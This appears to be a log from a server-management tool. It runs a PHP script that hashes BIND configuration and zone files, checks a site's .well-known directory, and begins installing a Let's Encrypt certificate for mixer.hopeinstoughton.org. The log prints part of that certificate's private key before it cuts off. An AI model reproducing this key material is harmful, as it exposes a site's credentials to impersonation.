MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:15:17: Establishing a connection
2026-01-03 19:15:25: Establishing a connection
2026-01-03 19:15:25:
PUT: /tmp/pkp406112
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:15:26:
runuser -l bind -s /bin/bash -c '/tmp/pkp406112; rm /tmp/pkp406112'
2026-01-03 19:15:26:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:15:33: Establishing a connection
2026-01-03 19:15:34: Establishing a connection
2026-01-03 19:15:35:
PUT: /tmp/pkp905931
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_mixer/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-03 19:15:36:
chmod 755 /tmp/pkp905931; /tmp/pkp905931; rm /tmp/pkp905931
2026-01-03 19:15:36:
0
2026-01-03 19:16:04: Establishing a connection
2026-01-03 19:16:05:
PUT: /tmp/pkp666333
#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7
cat > $temp_file <<'endmsg'
2d:92:88:b8:29:5e:5d:63:b7:7f:22:dd:ea:a6:60:82
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBd1euzTYylMZmceTfWXIoZAGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTgxNzMzWhcNMjYwNDAzMTgxNzMyWjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA0QGJ4vB1p1htS8fli/EDWkuty5vDUp0GUFXgp1keF9uiKtLm
FI+tq77bgvG5Hel3qKd4AFa6rbgY7VpA58PGW24OOJfnrfnmnCMAks1V7/DE+rdX
gIA69Es1NjpY9ftqkx68YUBVui6/VI1G4BUtS7YMKRgKAqF9XzI/WC3NdEGKRV/5
3EQ+LvszNnODWfnfZBMkk8EFk8pVUtXqFSxupsOvGXPVPWIhuw8XYinET+1bI07k
gNybv0wEJcuIzaPhVrx9Z9ALIWO+Js7AT4n8SwtmYZXI1kr/0e7dG4M9OsycyY77
+YpmMncOwtg1FBns+SUpcTGtC4dCASNzjCulXwIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBTZANOCUZWxg1DVmEpcaqv4ajgS4zAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYw
JDAioCCgHoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy83LmNybDCCAQwGCisGAQQB
1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4h
AAABm4VJxocAAAQDAEcwRQIgNNFTsr3qiwr0hoRTPjXkkTm5Eh1f62278dyqO6UC
LYcCIQCJ7iRFD5K06/C1PzLd2PzACTPmPdeq8KPkg+CM62AvkgB+AKXJeJJdV0YX
gocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAABm4VJyHcACAAABQAtvxNRBAMARzBF
AiADrRhTmi+TvhT+wCWdhQceDWMYL+E6cWeQ35pQRktM5wIhAL45eDvPf/cD6USU
PLKLhnNQBmBorQoc2X4/ILkcWS+vMA0GCSqGSIb3DQEBCwUAA4IBAQBtoujgKe+D
k/vYRzalaXMTRisqiSNx5p/s7OUJLpVIQudsRlSZCg/ihg4JnkDrNko/1xM5ZN/K
wUnIpBTkEbfr2iJ6vpe5zcXAKa4uMdTF7stSq/oB0Iq3cGH44wPh50rk2s0lZVFG
B/6nPtYbIXbf886x5RQQ6b2WQ6YTZSiSYHjALtvQBJuAyGl5BKMrpcCU7zSJlcer
0Hny6nB98cKQCfhU7s/5P5qDm3oqs1LIuojIUInCIQS2P84lJCbgcRAE0mPVgzgB
WwnCqbFqJrB8uv9A5VaEkNIqofepocOuUaEudEm649zYRHVRidGEwSNO9UOzQ4RJ
RRQ9yjtqgjJj
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDRAYni8HWnWG1L
x+WL8QNaS63Lm8NSnQZQVeCnWR4X26Iq0uYUj62rvtuC8bkd6Xeop3gAVrqtuBjt
WkDnw8Zbbg44l+et+eacIwCSzVXv8MT6t1eAgDr0SzU2Olj1+2qTHrxhQFW6Lr9U
jUbgFS1LtgwpGAoCoX1fMj9YLc10QYpFX/ncRD4u+zM2c4NZ+d9kEySTwQWTylVS
1eoVLG6mw68Zc9U9YiG7DxdiKcRP7VsjTuSA3Ju/TAQly4jNo+FWvH1n0AshY74m
zsBPifxLC2ZhlcjWSv/R7t0bgz06zJzJjvv5imYydw7C2DUUGez5JSlxMa0Lh0IB
I3OMK6VfAgMBAAECggEADknSTl8X+//HQQtXvbBqr+1FOAqHA4p+mFa2oVot/NLk
